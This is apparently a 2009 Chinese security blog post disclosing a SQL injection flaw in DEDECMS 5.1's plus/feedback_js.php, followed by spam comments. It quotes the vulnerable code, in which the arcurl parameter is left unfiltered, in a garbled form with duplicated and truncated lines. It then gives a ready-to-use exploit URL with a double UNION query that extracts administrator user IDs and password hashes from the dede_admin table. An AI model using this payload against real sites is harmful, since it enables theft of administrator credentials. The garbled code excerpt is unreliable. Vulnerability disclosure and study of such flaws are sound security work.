DEDECMS 5.1 feedback_js.php 0DAY-0day, DEDECMS, DEDECMS 5.1, feedback

DEDECMS 5.1 feedback_js.php 0DAY

This entry was posted on Oct 11 2009

作者:st0p Rainy'Fox
轉載請註明出處:http://www.st0p.org http://bbs.erpangzi.com/

這個漏洞是我和Rainy'Fox一起發現的同樣是在magic_quotes_gpc=off的情況下可用

漏洞版本:DEDECMS 5.1
此漏洞可拿到後台管理員的帳號和加密HASH,漏洞存在文件plus/feedback_js.php,未過濾參數為$arcurl

  ......
 0 ; $urlindex = 0 ;
 empty ( $arcID ) ) if ( empty ( $arcID ) )
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $row = $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ;
        //此處$arcurl沒有過濾
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if ( is_array ( $row ) ) $urlindex = $row [ 'id' ] ;
       //存在結果則把$urlindex賦值為查詢到的$row['id'],我們可以構造SQL語句帶入下面的操作中了
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if ( empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ;
 //如果$arcID為空或$urlindex為空則退出
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if ( empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ;
 //我們讓$arcID為空,剛才上面執行的結果就會被賦值給$wq帶入下面的操作中執行了.
 = " aid=' $arcID ' " ; else $wq = " aid=' $arcID ' " ;
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $querystring = "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ;
 Init ( ) ; $dlist -> Init ( ) ;
 SetSource ( $querystring ) ; $dlist -> SetSource ( $querystring ) ;
 ......

看一下利用方法吧,嘿,為了閉合我用了兩次union

  http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3 ,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

唉,偶和Rainy'Fox這傢伙找目標測試的時候,他竟然說能不能在magic_quotes_gpc=on時通過....這種想法太YD了..也太可怕了,要真可以實現,這個網絡界又該亂了,好多程序都是在PHP默認magic_quotes_gpc為關閉時才會調用自身的轉義部分...要真能實現,那就是PHP程序的惡夢了...

學·武功秘籍

348 Responses to “DEDECMS 5.1 feedback_js.php 0DAY”

By хостинг on Nov 19, 2009 | Reply
zelo intiresno, hvala
By AKfour seven on Dec 1, 2009 | Reply
I stand here today humbled by the task before [url=http://www.bawwgt.com]dofus kamas[/url], grateful for the trust you have bestowed, mindful of the sacrifices borne by our [url=http:/ /www.bawwgt.com]cheap dofus kamas[/url]. I thank President [url=http://www.bawwgt.com]dofus power leveling[/url] for his service to [url=http://www .bawwgt.com]buy dofus kamas[/url], as well as the generosity and cooperation he has shown throughout this transition.
By wsewtoexg on Dec 3, 2009 | Reply
CMvNTO honoyhhectcq , [url=http://bqjmruocdqwf.com/]bqjmruocdqwf[/url], [link=http://mdbdixbzaeau.com/]mdbdixbzaeau[/link], http://njofsuttytxm.com/
By tedy on Dec 5, 2009 | Reply
Only 34 days before DOFUS 2.0! December 2nd will be here before we know [url=http://www.bawwgt.com/fr]dofus kamas[/url]. On [url=http://www.bawwgt.com /fr]dofus kamas moins chers[/url] every player will discover a completely new DOFUS experience. [url=http://www.bawwgt.com/fr]acheter des dofus kamas[/url] have to be content with the reports and forums. Even so [url=http://www.bawwgt.com/fr]achat dofus kamas[/url], there¡ ¯s always a few of our dear players in the forums.
By buy strattera on Dec 13, 2009 | Reply
this is a cool news. Thank you.
By Seengart on Dec 14, 2009 | Reply
huh... informative style..
By Natasha-web on Dec 16, 2009 | Reply
Vdaka za zaujimavy blog
By ConradSimone on Mar 8, 2012 | Reply
Well this is very interesting indeed.Would love to read a little more of this. admire the valuable information you offer in your articles.
Conrad Simone